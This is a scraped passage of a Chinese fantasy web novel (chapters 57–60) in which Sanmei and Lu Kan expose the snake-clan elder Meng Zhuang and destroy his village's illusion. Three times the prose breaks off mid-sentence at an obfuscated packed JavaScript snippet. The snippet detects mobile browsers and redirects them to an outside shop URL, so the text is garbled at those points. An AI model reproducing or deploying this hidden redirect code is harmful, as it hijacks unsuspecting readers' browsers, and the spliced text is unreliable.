“啧啧,孟庄啊,你这情绪波动也太大了,心态也太脆弱了吧。”三枚摔了下脸上的雨水,轻哼一声。 “这可不行呀,我必须好好说你一句,像你这样如此毫无章法、猛烈进攻的招数,亦是敌人最容易抓住破绽的时候呀。” 特别还是在你实力彻底下降、情绪大起大落,法术大打折扣之下的进攻,更是错漏百出。 三枚直接站上船头,弯腰朝湖里倾身而下。 陆衎见状急行跟上,连忙紧紧护着人别跌落水里。 侧头看了陆衎一眼,三枚朝他笑笑,接着将手往水里一伸,轻轻一翻转,破瓷碗便被她立在了波涛汹涌的湖水里。 “孟庄,若是你继续缩在壳里保守防御,我可能还得花费点时间,想法儿来对付你,但现在......” 三枚的话里带着淡淡的笑意,将右手燃着的细香向上一抛,左手五铢钱对着破瓷碗轻轻敲了敲,发出叮铃一阵阵的,清脆的、小小的、细细的声音,十分悦耳。 随着音响,狂风突然止住,暴雨也骤然刹停,翻涌的湖水也默默地平静了下来。 天地之间,只余清脆的细腻的铃声,在浅浅吟唱着。 时间仿佛凝滞,被三枚抛向空中的飘散着缭绕烟雾的细香,如它弥散的烟雾一般,慢腾腾的、特别缓特别轻柔地向下坠落着。 “咔嚓!” 天空再次响起一道惊雷,再次席卷而来的狂风,带着狂暴的恶意,仿佛要将三枚他们的乌篷船给卷翻嚼碎。 远处的挡在破木屋前的其他屋子,猛然朝三枚他们所在的方向疾冲而来。 这时,细香终于落下,香脚稳稳的立在破瓷碗的碗沿之上,胡乱地绕着碗口跑了一圈之后,突然朝东边一歪,直直地落入水中。 三枚的淡淡笑脸上,此时轻轻地挑起了眉,她缓缓抬头,露出了胜券在握的愉悦表情。 她将臂上已经露出凶狠精光的八耳,用力往外一抛,开朗大笑一声。 “找到你了,孟庄!” 57. 第 57 章 随着细香落水,仿佛深不见底的湖泊霎时变得乌烟瘴气,振翅高飞的八耳盘旋在半空。 它那锐利如鹰眼般的豆眼,紧紧盯着细香燃烧着的红点。 被湖水团团包围的细香,越燃越旺,很快就要到底。 与此同时,天空蓦然闪过一道闪电,亮如白昼,差点晃花八耳的小眼。 三枚嘴里念着不明咒语,接着朝八耳的方向,用力投掷出一枚泛红的五铢钱。 “接住!” 八耳伸长脖子,高声应了一声,俯冲而下,于电闪雷鸣中,张嘴准确地咬住了铢钱,凶狠的豆眼顿时闪过一道猩红的亮光。 不再畏惧频频爆发的闪电,八耳身体里的鸡血沸腾滚烫,它兴奋地在半空疾驰翱翔,游刃有余地躲避着劈向自己的阵阵惊雷。 就在这时,水中燃着星点火焰的细香,“啵”地一声,开始旋转起来,形成了一个飞速转动的漩涡。 八耳霎时眼冒精光,一边长鸣一边埋头朝那漩涡俯冲而下。 抢在其他水流翻涌吞盖上来之前,八耳的鸡嘴精准地对着漩涡里一扎,再抬头时,嘴里扯着一条长长的、黑色的、大约指宽的粗线,随着它越飞越高,那条粗线也越拽越长。 那些建立在水上的小木屋,来不及躲避,被依附在粗线上的乌烟瘴气轻轻一碰,霎时如脆弱的渣滓般,哗啦啦灰飞烟灭。 湖水也在慢慢减退,逐渐露出了湖底的真面目。 三枚嘴角泛起笑意,抓起陆衎握在自己腰侧的手,轻轻在他掌心写着什么。 陆衎心里一颤,那个熟悉的、令人又痒又麻的刺挠感,又开始了。 这次的感觉尤其明显,他感觉自己从全身上下都起了一层密密麻麻的鸡皮疙瘩,甚至从脖子爬上了他的脸颊。 浑然不知自己一个动作就给陆衎带来这么大刺激的三枚,快速地在他的手心写着字,最后一划还没写完,想给他使个眼色,不料他竟是突然将手一抽,看也不看自己一眼,便如离弦之箭一般,飞速冲了出去。 不愿被三枚发现自己的异常,陆衎抿紧双唇,忍着那抓心挠肝的酥麻感,僵着身子尽量保持镇定。 本想耐心等着她将字写完,三枚却忽而转头来看他,吓得陆衎仿佛做贼心虚一样,猛然抽手逃了开去。 三枚傻眼:......这是受什么刺激了? 再看天上处于亢奋状态的小八耳,三枚挠挠头:难不成是因为八耳那家伙? —— 陆衎没有小八耳一样的翅膀,却也好似会飞一般,从船上飞跃而起后,半空踏着尘埃越飞越高,没一会儿便追上了八耳。 踏雪飞燕一般,他足尖轻轻点了下八耳的小脑袋,单手拽下腰佩,对着空气舞动了起来。 那小巧的、看似毫不起眼的青玉腰佩,“哗啦”一下,突然从中间位置迸射出一柄尾指宽的三尺青锋软剑。 陆衎将长剑一抛,反手抓着长剑,毫不犹豫刺向八耳从湖水里拉拽出来的粗线。 然而那粗线却不容易刺穿,刺到一半便被用力反弹了回来。 “呵,果然!”陆衎轻笑,早有预料不会一次就成功,这一剑也只是试试深浅。 深深运了一口气,他猛地向上一跃,舞剑的速度快得只能看见残影,将要再次刺向粗线时,原本的三尺青锋软剑,忽然自两边长出了锐利的尖刺,被闪电一晃,仿佛闪闪发亮的星星一般。 陆衎握着三枚五铢钱的掌心半张,轻轻搭在握剑的那只手背上,触到粗线的瞬间,猛然发力。 见这次长剑没有被反弹出来,陆衎嘴角泛着浅笑。 他不再运气往上飞跃,而是将全部的力量压在长剑上,握着长剑顺着粗线起伏的弧度往下狠狠划拉。 粗线开膛破肚一般,被划开的部分四分五裂,周围的乌烟瘴气更加浓重了起来。 陆衎却并未掉以轻心,心中时刻谨记三枚在手掌心写的字,眯着眼睛仔细寻找着所谓的“阵眼”。 终于,就在那些瘴气快要完全阻挡住视线的时候,陆衎忽而低头,眼尖地捕捉到有条游丝一样的白点在不断往下躲避。 搭在手背上的手一松,单手挂在剑端,他将五铢钱咬在嘴里,另一只手从怀里抽出一把短匕,甩掉剑鞘,对着那白点飞快掷去。 “哇啊!!” 一声沉闷却十分难听的尖叫声,随着白丝被钉死在粗线上,猛然响起。 眯着眼睛的三枚,时刻关注着半空中的动静,听见闷响,再见湖中水位降低迅速,于是她立刻转身对着兰哥道:“快!划船接人!” “啊?划船?” 兰哥一惊,看着浅得仿佛要见底的湖水,苦着脸道:“水这般浅,咱们这船估计划不动呀。” “别废话,叫你划便划,快点!陆衎和八耳要下来了!” 这湖水浅是浅,可脏得很! 兰哥眉头皱得老深:“可是、可是船桨断了呀,没有能划船的工具了!” “啧!” 不会水也不懂划船的三枚,狠狠地一挥手,跺着脚左顾右盼了一会儿,忽而眼睛一亮。 转身在乌篷船里踢踢拆拆,好不容易被她捣鼓出一根能够用来乘船的木棍,一股脑塞到兰哥的手里,佯装凶狠地瞪他:“快!”说完突然跑到船尾去了。 兰哥被三枚吼得有些委屈,一边听话地拿起木棍,有气无力地往水里一撑,一边皱着脸嘟嘟哝哝道:“水这么浅,船怎么可能划得——咦?” 本来以为不可能划得动的乌篷船,没想到木棍轻轻在水里一划拉,便随风移动了起来。 他连忙将抱在怀里的锁魂箱小心地放在脚边,抬头看着陆衎现在所处的位置,双手抓着木棍便卖力地划了起来。 就在陆衎带着长剑用力划破那点白丝,半空接住嘴巴红肿、已经浑身脱力的八耳,稳稳落在乌篷顶上时,湖里的水骤然消退,只剩几处浅浅的水坑。 这时,船尾忽而响起三枚分外愉悦的笑声:“找到你了,孟庄!” —— 水尾寨的湖水仿佛被人抽干,露出湖底坑坑洼洼、纵横龟裂的地面,破破烂烂,看起来格外丑陋。 小木屋碎的碎、裂的裂,支离破碎的木屑渣滓歪歪斜斜地掉了一地,那幢被它们牢牢护在中心的老木屋也没能幸免于难,千疮百孔地倒在凹凸不平、崩裂的土壤上,空气中还弥漫着呛人的尘土味。 三枚伸了个懒腰,看着单脚立在破木屋顶、满头白发的老人道:“哟,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157571|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年不见,孟庄啊,你老得可真快!” 孟庄厉眼瞪着三枚,沉声喝道:“序三,你到底要做甚?” 三枚耸耸肩:“我说了呀,想到你家坐坐呗,哪知道你是这般待客的。” “哼!”孟庄指着满地狼藉,“你山门,就是这样上门做客的?” “嘿嘿,我的素质吧,一般都跟主人家的教养走,就这样,”三枚抬手做了个波浪状,“起起伏伏,你啥态度,决定我啥素质。” “你让我滚,那我只好让你好好瞧瞧,你在我眼里,算个什么货色了。” “你!”孟庄气得怒指三枚,刚爆喝了一声,接着便剧烈地咳嗽了起来。 三枚挑眉,“老东西,你可悠着点,可别把自己给气死了。” “你也别假装不知道我到这里的目的,你三番两次,不是阻挠我进入水都,就是派人想要毒死石春华,不就是怕自己的恶行暴露,被玉玺秋后算账吗?” “胡说八道!” 孟庄忽然激动了起来,他从屋顶飞跃而下,站在乌篷船前,“我根本不认识什么石春华,你莫要胡乱造谣!” “不认识?不认识昨晚我的楼船爬满了你蛇族豢养的毒蛇?” 三枚也从乌篷船上跳了下来,一步一步逼近孟庄,“不认识你派出一个小坂妹不够,又来一个小屋子?” “不认识?呵!”三枚踢飞脚边的木屑,讥笑道:“那你认识玉娘子吗?” 听见玉娘子三个字,孟庄浑身猛然一颤,情不自禁后退一步,却嘴硬道:“我不知道你在说什么?你快离开这里,我们水尾寨不欢迎你!” 随着孟庄的话音落地,原本空荡荡的四周,突然涌现出一群群人来,手里拿着刀棍等武器,俱都凶神恶煞地看着三枚等人。 陆衎见状,从乌篷顶上飞落到三枚的身边,兰哥也抱着锁魂箱,屁颠颠地从船上跳了下来,缩着脖子跑到三枚的边上。 “你说你不认识玉娘子?” 三枚无视虎视眈眈朝自己逼近的水尾寨村民,仍旧不疾不徐朝孟庄逼近。 “那么,你敢赌上你们蛇族的名誉荣耀,当着你们族人的面发誓,说被你们以供奉之名,安放在幕天水牢的独臂水神塑像,跟玉娘子一点关系都没有吗?” 她的声音清脆响亮,四周仿佛回荡着她的余音。 “你敢说,镜湖底下的尸水,跟你一点关系都没有吗?” “你敢说,你们蛇族的凋零衰败、水鬼一代不如一代的艰难境况,跟你一点关系都没有吗?” “你能吗?你敢吗?你有这个胆吗?” 三枚双眸狠厉地盯着冷汗淋漓的孟庄,一字一句铿锵有力地道:“你不能!你不敢!” “因为,石春华五十年前,带着虎头木雕找到你的时候,就是你撮窜她引发的泥石流!” “而那场咆哮肆虐、害得无数家庭支离破碎的山洪,亦有你在背后推波助澜!” 双脚狠狠地在纵深裂缝的地面一跺,三枚厉声道:“镜湖底下的尸水,有一半是当年无辜惨死的云水乡村民的血泪残骸!” 她的声音忽而放得极地,像是恶魔在轻声邪笑:“孟庄,你的胆,在听见石春华落入我手的时候,便吓破了吧?” 58. 第 58 章 “孟庄,你的胆,在听见石春华落入我手的时候,便吓破了吧?” 三枚脸上的笑特别灿烂,轻轻拍了怕兰哥抱在怀里的锁魂箱。 “咔嚓!” 锁魂箱从底部吐出了破瓷碗,被三枚稳稳地接在了手中。 “怎么不说话啦?被我戳中肺管子啦?” 孟庄被三枚之前仿若气吞山河的三连问,质问得脸色刷白,手脚发颤,不由连连后退。 水尾寨的村民里,有些听不明白三枚在说什么的年轻人,见孟庄如此,对三枚等人的怒目而视的同时,脸色越发不善,却也跟着孟庄一起慢慢往后退去。 然而有些上了年纪,对儿时记忆还有印象的老人,却被勾起了尘封在脑后的久远的记忆。 “泥石流?山洪?镜湖的尸水、还有云水乡惨死的村民,这跟孟爷有什么关系?” “听说当年镇山神就是被泥石流冲走的......” “是啊是啊,若是镇山神还在,咱们蛇族也不至于被那些陆民当做瘟疫,落到连上岸都得看人眼色的境地......” 这些话,一字一句全部传入孟庄的耳力,他的脸上毫无血色。 “序三,我和石春华之间的事,不过私人恩怨,扯不上其他的人。”孟庄突然喝道。 “我不知道你的目的到底是什么?是受了水都那群自以为是的陆民的蛊惑,想将我水上蛇足置之死地?是他们告诉你的这些,然后你偏听偏信,就这么给我扣上了莫名其妙的罪名!” “岂有此理!”孟庄越说,仿佛底气十足,看着三枚的老眼,也逐渐恢复了厉色。 “呵!” 三枚都被逗笑了,手指指着孟庄,她笑得咯咯作响。 “五十年前,你也是这般给自己洗脑找借口的?”她笑得腰都弯了,歪在陆衎的身上。 陆衎扶着人,真担心她笑岔了气。 兰哥闹着小脑袋,一会儿看看三枚,一会儿看看陆衎,最后跟着三枚,“嘿嘿”笑了起来。 “知道他是谁吗?”三枚忽而话锋一转,拍着陆衎的肩膀道:“这位大人是大理寺少卿,是奉当今天子之命,专门从都城跑到眧州,为了调查前阵子闹得沸沸扬扬的少女失踪案而来的。” 她环视一圈,仿佛看不见那群水上人的眼中的恶意一样,笑意盈盈地看着他们说道:“眧州少女失踪案听说过吧?” “少女雨天离奇失踪,音讯全无,查无所踪,甚至嫌犯都没能锁定,哦不对了,前阵子有个叫做云客来的大酒楼被查封了。而凶手,就是酒楼背后的东家,一个叫做石春华的老妪。” “不是吧?她——”人群里突然有人讶异道,听口气,显然认识三枚口中的石春华,却好似被人飞快捂住了嘴,话都说不完整。 虽然不知道是谁发出的疑问,三枚闻言淡笑,点头肯定地道:“就是她!” “啊!你们还不知道吧,这位陆少卿大人,几日前已经追查到了有关失踪少女的线索了呢。” 她转头朝着陆衎笑笑,特别礼貌地询问道:“哎哟,还得询问询问您的意见,我能说吗?” 仿佛心有灵犀一般,陆衎好似读懂了三枚笑眼里的深意。 他特别配合地点了下头,上前一步出示了能代表自己身份的令牌,接着沉声道:“我大理寺办案人员在眧州府衙的协助下,于两日前在眧州郊外雨林里,挖出了七十二截断臂,俱为左手。” “砰!” 有人摔倒了,撞到了后面的,挤挤挨挨的人群突然变得有些混乱,响起了窸窸窣窣的嘈杂声。 “咱们,咱们供奉的水神大人,也、也是独臂......” “是、是啊,而且好像、好像也是左手——” 这时候突然冲出来一个男人,跌跌撞撞地跑向孟庄,面露惊恐地道:“七十二、七十二!他说七十二啊——” “闭嘴!” 消失了好长一段时间的小屋子,扒拉开人群,像颗小炮弹一样瞬间弹射到男人面前,猛地将人推倒,抬起脚恶狠狠地踹人。 “两个不明不白的外人说的话你也信!因为他们轻飘飘的三言两语就被挑动了情绪,还敢跑到老祖宗面前丢人现眼!” 踹完人,她双手叉腰,不复先前被陆衎抓在手里害怕得哭哭啼啼的可怜样,尖声对着三枚吼道:“你们这些坏人!” “大理寺少卿又怎么样!眧州少女失踪又怎么样!石春华是坑蒙拐骗还是杀人放火又怎么样!” 她气得满脸涨红:“跟我蛇族有一丁点的关系吗?那群少女是死是活,我们根本就不知道,也根本不在乎!” “你们大闹我水尾寨,毁了我们老祖宗辛苦维持了几十年的幻境,现在还要怎么样?难道还要把我们家族耗费了几代人的心血,才艰难造就的陆地给毁了,你们才甘心吗?” “我们已经放弃登上你们的陆地了,我们自己造了一个陆地,就这样,你们都要追着毁掉,你们的心怎么就那么狠、那么黑呢!” 三枚挑眉,望着上蹿下跳、牙尖嘴利的小屋子,眼神越来越冷。 她的声音没有一丝情绪起伏,淡淡地问:“小屋子,你今年几岁?” 小屋子被问得一愣,继而又特别趾高气昂地哼道:“要你管!你别想因为我年纪小就想拿你们陆地那套大人教训小孩的方式吓唬我,我告诉你,我不吃那套!” “你今年应该不超过十岁吧。” 三枚自顾自说道,她点了点地面,“想来,你应该也是不知道,被你们踩在脚下的、所谓的耗费了你们族人几代心血才填造的‘陆地’,是拿什么做成的了。” 小屋子拧眉,“你又想妖言惑众了吧?我不听,我也不信!” “呵!” 三枚轻笑一声,指着小屋子,视线在孟庄及他身边几个看起来有些年纪的人身上来回转了一圈。 她笑道:“小孩子不知道,你们几个,该是清清楚楚的吧。” “来,大声告诉你们蛇族的未来,他们脚下踩着的土地,是拿什么做的?” 不止孟庄浑身煞气,他边上的人俱都脸色铁青,怒眼圆睁地看着三枚。 “什么意思?”围观的水尾寨村民有人发出了疑问。 “什么叫脚下的土地是拿什么做的?除了石头和泥头,还能有什么?” 被小屋子推倒在地上的男人,神情有些癫狂:“眧州失踪的少女、该不会、该不会真跟咱们有关吧?” “什么?!” ...... 人群里突然爆发一阵哗然之声,你看看我、我看看你,又都不约而同地,将视线隐晦地投向孟庄的方向。 小屋子左顾右盼,抬头见周围族人面色各异地、眼露迟疑地看着孟庄,气得大吼:“这两人很明显就是在挑拨离间,你们都瞎了吗!” “他们跟水都那群陆民是一伙的,是故意挑动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176242|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们的情绪,想让我们内部斗起来乱起来,这不是你们前阵子才总结出来的教训吗?怎么这么快就忘了啊!” “你们不要轻易地,就中了他们的计谋啊!他们是来毁了我们的家园的!他们都是坏人啊,这满地狼藉就是最好的证据!” 她气得浑身发抖,突然抢过边上人手里的木棍,劈头就要抡向男人的身上,“老祖宗这么些年,为了咱们整个蛇族,付出了多少精力和心血,说一句鞠躬尽瘁都不为过!你竟然!竟然!” 棍子伸到一半,被人从后用力抓住了。 小屋子仰头看去,瞬间红了眼,嘴角向下一撇,带着哭腔道:“老祖宗,我后悔了、我错了!” “我没想到敌人这般狡猾!我不该自以为是,犯下引狼入室的错误!” 孟庄抓着棍子,摇头道:“不管如何,你都不该对着自己人挥动棍棒!” 小屋子愣神,接着将手一松,“我、我太生气了......” 呆呆地看着倒在地上的男人被扶到后头,半刻钟前一脸义愤填膺一致对外的族人们,神色复杂,眼神都有些飘忽,小屋子茫然地看了眼孟庄,喃喃道:“老祖宗,我阿姐、和榆次......” “榆次没事,带着你阿姐,已经回水牢去了。”孟庄将小屋子拽到身后,径直走向三枚。 没了热闹看的三枚,挑眉看着朝自己走来的孟庄。 拍了拍紧张地挡在自己身前的陆衎,她把破瓷碗塞到他的手里,低声道:“无需紧张,现在该紧张的是他们。” 刚才环视了一圈团团围着他们的水上人,除了孟庄这个臭老头还有点能耐外,其他就是一群小喽啰,根本不足为惧。 蛇族衰败的颓势太明显了,几乎大断层,好像只有小坂妹和小屋子还有些天赋在身上。 但据三枚观察到现在,小屋子多半已经废掉了。 还十岁不到吧,看她维护孟庄的那个狠劲,估计从身心到思想各个方面,都被洗脑洗得彻彻底底了。 再看那群水上人,除了刚开始有小部分人被挑起了情绪外,大多都坚定不移地拥在孟庄的身边。 孟庄在水尾寨的地位,看来不是能轻易就能被撼动的。 “小坂妹啊小坂妹,这就是你不惜堵上自己的性命,也不愿舍弃的蛇族吗?” 三枚觉得,即使没了孟庄,蛇族要从根上掰正回来,着实任重道远! “石春华跟你说的,那些少女失踪与我有关?”孟庄停在几步开外,终于说道。 三枚不答反问:“怎么,你想否认?” 孟庄背在身后的手青筋毕现:“石春华与我有私人恩怨,他想报复于我,合情合理。” “哦?”三枚挑眉,“私人恩怨?你是指哪方面的私人恩怨?” “两三个月前,她突然跑到水都寻我,请我帮忙寻找、她那无辜失踪的外孙女儿。” 孟庄死水无波的老眼,直直地看着三枚,“我拒绝了。” “她怀恨在心,所以设计害我。” 陆衎:“我说过了,少女失踪,石春华是幕后的凶手。” 听见陆衎的话,孟庄的眼睛依旧盯着三枚,“她自导自演,临死也要拖个垫背的。” “是吗?”三枚抬起眼皮,轻慢地撩了孟庄一眼,嗤笑一声,“这就是你们之间的私人恩怨?” “但我觉得吧,你们的恩怨啊,应该呀,从玉娘子那儿开始算起呢。” 59. 第 59 章 “从你见色起意,包藏祸心觊觎玉娘子开始!从你得知玉娘乃镇山神之女,而你不过一个普通又平庸的水上人开始!从你利用石春华的勃勃野心和她对你的朦胧好感开始!” 三枚像是故意要激怒孟庄一样,挑衅地道:“来,你先说说,当你认识到自己和玉娘子有如天沟一般的巨大差距时,你的心里是如何扭曲自卑的。” 孟庄被戳到痛脚一样,勃然怒喝:“你放屁!” “你信口雌黄,栽赃污蔑,我看你是找死!” 他突然向前迈了一步,眼睛里充满了杀气,垂在身下的拳头紧握,肌肉绷紧,仰天咆哮一声,身体猛然朝三枚的方向冲去,像一道闪电般迅速,刮起一道飓风。 听孟庄那中气十足的怒吼,和通身犹如猛兽扑食的架势,一点不像七老八十的孱弱老头。 水尾寨的人见状,愣怔了一瞬后,也跟着举起手中的武器,朝三枚他们猛冲而来。 混战,一触即发。 陆衎瞬时将三枚往身后一拉,正面迎了上去。 面对孟庄用力挥舞而来的拳头,他游刃有余地躲避,甚至还有闲心关心三枚那边的情况。 三枚没想到激怒孟庄、让他大打出手这样简单,虽然变故有些猝不及防,但好在事情都在自己预设的范围内,并未将她吓到。 她抬头,越过举着器械朝自己暴冲而来的水尾寨的村民,一眼不错地盯着远处高耸入云的古桐树,默默地在心里数着数。 兰哥怕得要死,食指疯狂戳着躺在锁魂箱上昏迷不醒的八耳,急得嘴里都要冒泡了,“飞鸡大人,赶紧醒醒啊!!敌人疯了一般朝我们冲过来了,赶紧起来,继续战斗啊啊啊!!!” 八耳睡得又香又甜,迷迷糊糊睁眼看了兰哥一眼,接着懒懒地转了个身,又继续酣睡了起来。 欲哭无泪的兰哥,看着凶神恶煞的水上人离自己越来越近,转头正想问三枚该怎么办的时候,却见她的嘴角,倏而扬起了一抹诡异的笑。 高举铁棍冲在最前头的小屋子,也看见了三枚嘴角的邪笑,心里隐隐有些不安,一种莫名的胸闷气短的慌乱感,骤然袭来。 忽而,她蓦地顿住脚步,顺着三枚的视线看去,瞳孔瞬间瞪大。 小屋子嘴巴大张,余光看见与陆衎你来我往打得正酣的孟庄,再看那些一股脑涌向三枚他们方向的族人,才惊觉,他们中计了。 “停下!停下!咱们中计了!” 三枚她们从刚才开始,就一直在拖延时间,不过是给潜入寨子内部的奸细转移火力呢! 小屋子抓住身边的人,语无伦次地指着远处:“中计了!中计了!” “老祖宗!”她尖声怒吼着,“水牢被破了!” 她声音的爆发力和穿透力十足,一字一字十分清晰地传入蛇族人的耳朵里。 “嵌着水神大人的古桐树,要倒啦!” 对水神二字极为敏感的水上人,听见小屋子的声音,猛然停下了动作,茫然四顾:“什么?” 小屋子急得狠狠跺着脚,吼道:“古桐树倒啦!” 本来围攻三枚的水上人,见状立马转换方向,天塌了一样,撒腿就往古桐树所在的方向飞奔。 三枚冷眼看着,嘴角的笑意越发深邃,轻挑眉头,呢喃感叹道:“居然真让她,做到了!” 与悠闲自适的三枚截然相反,水尾寨的蛇族人,个个急得跳脚、呼呼啦啦乱成一锅粥,嘴里高声哭喊着:“啊啊啊啊,倒了倒了,天呐天呐!!” “啊啊!!水神大人,倒啦!!!!” “天要亡我蛇族啊啊啊啊!!!” 与陆衎缠斗的孟庄,乍然听见嚎哭声,手上的动作刹那顿住,待听清他们话里的内容,瞳孔剧烈晃颤一顿,厉眼怒瞪:“你说什么!” 被他周身迸射出的煞气骇到,小屋子双腿一软,直接瘫坐在地上。 突然想到小坂妹和榆次还在水牢那儿,她抽噎一声,泪水控制不住从眼眶里流了下来,指着远处那棵明显倾斜的擎天古桐树,大声重复道:“古桐树,倒了!” 孟庄人老眼却不花,早就看见了,他猛然转头,一双猩红的、狠厉的双眼,毒蛇一般瞪向三枚,接着迅速撤退,就要往古桐树那儿跑。 陆衎怎么可能会放他逃走!一个箭步,曲成鹰爪的手往他肩膀一按,就将人给拖了回来。 “放手!”孟庄气急,觉得陆衎实在难缠。 两人刚一交手,孟庄便知,单纯武技肉搏,年老体衰的自己,绝对不是眼前这年轻人的对手,但又不知为何,自己施加了半天的法术却屡不奏效。 陆衎像耍着孟庄玩儿一样,一手抓着三枚塞给他的破瓷碗,单手就将孟庄缠在原地,还能分心趁隙踹飞企图靠近三枚的水上人。 就在孟庄因为总脱不开身,而急得浑身冒冷汗的时候,那棵巨大的古桐树终于倒地了。 “嗙!”一声巨响,震得整个地面颤抖不停,仿佛地震,四周尘土飞扬,耳边轰鸣声响彻不停。 天空瞬间飞出乌压压的各种鸟类,叽叽歪歪响个不停。 古树倒地的动静实在太大,三枚猝不及防,险些摔倒。 千钧一发之际,陆衎及时将她小心地环抱进怀里,单脚粗暴地将撞来倒去的兰哥固定在原地,还得留心睡在锁魂箱上的小八耳不要滑落到地上,到时被那群水上人踩踏到就不好了。 “诶,孟庄哪里去了?” 已经习惯了陆衎的怀抱的三枚,熟练地从他的怀里探出头来,眯着眼左右环顾一圈,发现歪七扭八、嚎啕痛哭的人群里,唯独不见孟庄和小屋子的身影。 “在那里!” 倒在地上也不忘紧紧抱着锁魂箱的兰哥,眼尖地看见孟庄被小屋子拽着往人群里挤。 他立马掏出身上的弹弓,随手抓起地上的碎石,单眼瞄准孟庄的左腿,用力一拉,石子如离弦的箭一样,破风射向目标人物。 “啪!” 正中孟庄的膝盖窝。 老头吃痛,踉跄地跪倒在地上,拖拽着他的小屋子被带得也向后一摔,毫不意外地倒在了孟庄的身上。 震天的轰鸣声逐渐平复下来,漫天的尘土也慢慢趋于安静。 “完了完了,全玩完了!” 小屋子从孟庄的身上爬起来,黑乎乎的小手抱着小脑袋,颓丧地瘫坐在地上。 “完了完了,呜呜呜,古桐树倒了,水神大人肯定摔坏了,呜呜呜呜......” 孟庄趴在地上,脑袋晕乎乎的,耳边嗡嗡嗡全是小屋子的哭声。 “咱们辛辛苦苦准备了两年,就要扩延成功的陆地,这下全叫那古桐树砸烂了吧,呜呜呜......” “呜呜呜,我阿姐啊榆次啊,估计也没了......呜呜呜,老祖宗啊,这下该怎么办呀.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188148|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..” 听见小屋子的呜咽哭喊,边上已经呆傻住了的水尾寨村民,也跟着红了眼眶,有些甚至还跟着哭了起来。 “闭嘴!” 孟庄双拳紧握,狠狠地砸在地上,“哭哭啼啼,能解决得了什么事!” 他推开哭得最厉害的小屋子,慢腾腾从地上坐了起来,一改往常慈和宽厚的样子,恨恨地骂道:“哭什么哭!还什么都没确认清楚,你们就在这儿哭,没事也叫你们哭晦气了!” “都是你将这些个人引进寨子里,才有如此大祸!你还问我怎么办?” 小屋子被骂得一愣,哭都忘了,眼泪却还哗哗地往下流淌着。 她呆呆地看着水牢的方向,转头,就见三枚抱着双手、嘴角挂着讥笑,好像幸灾乐祸的样子,心中骤然升腾起一股汹汹的怒火。 猛地从地上站了起来,小屋子挥舞着铁棍,怒目圆瞪,眼里充满恨意,张牙舞爪地冲向了三枚。 “都是你这个狡猾的、狠毒的女人!都是因为你!都是因为你!” 小屋子的怒吼,好似一个开关,将那群因为古桐树的倒塌、而暂时忘却了攻击的水上人唤醒,他们重新握紧了武器,气势汹汹地又开始继续围攻三枚他们了。 兰哥刚站起身,就见那群水上人又虎目圆瞪地朝他们围来,杀气腾腾的。 “怎么回事,他们怎么不跑了?诶诶,这是又要围攻我们啦?” 三枚撑在陆衎的肩头,又开始眯眼眺望远方了,当远处隐约出现一个慢吞吞的黑点时,又开始笑了。 听见兰哥的话,她淡笑道:“不用怕。” “你今晨过来寻我前,你们老祖宗,有没有跟你交代过什么?” 兰哥抬头,眨了眨眼,忽而一拍额头,“有!” 他将怀里的锁魂箱放下,伸手在衣裳里掏了掏,一边找东西一边挠头道:“你是不是、是不是先从陆少卿大哥的身上下来先?” 那群水上人越来越靠近,兰哥怕陆衎抱着三枚,等下不好施展功夫。 “咳咳。” 三枚不知为何,兰哥说的话和语气明明很正常,但她不知为何,莫名感到有些心虚,耳朵瞬间涨红,脸颊好似有些发热。 故作猛烈地咳嗽了几声,掩饰了下自己的尴尬和不自在,接着她才故作镇静地拍了拍陆衎的肩膀,示意自己要下地。 陆衎冷冷地睨了眼多嘴多舌的兰哥,环着三枚腰身的手赌气似的稍稍一紧,眼看三枚有些急了,才喉结一滚,小心翼翼地将人放到地上。 还没松手,三枚已经急躁地挣脱了他的怀抱,抓起小八耳就塞到了他的怀里。 舌尖抵了抵后槽牙,陆衎看了眼代替三枚位置的小八耳,不动声色地叹了一口气。 耳朵粉粉的三枚,弯腰时趁人不注意拿手对着脸颊扇了扇风,抬眸却见兰哥睁着一双大眼睛,忽闪忽闪看着自己的时候,狠狠地瞪他:“看什么看!” 她猛地直起身,小手特别自然就往陆衎的怀里伸,一点没注意到陆衎错愕的眼神和瞬间僵住的身子,就将他放在怀里的破瓷碗给拿了出来。 三枚深呼吸一口气,掌心撑着破瓷碗晃晃悠悠、要掉不掉,接着怼到兰哥面前。 “开始吧,把东西放进碗里。” 她看着浑身是血、一瘸一拐地从拐角出现的小坂妹,清凌凌地道:“是时候把你们姑祖奶奶,给迎回家咯。” 60. 第 60 章 我叫小坂妹,今年十岁,有个双胞胎妹妹,叫做小屋子。 我们两姐妹是蛇族近五十年来,唯一一对双胞胎。 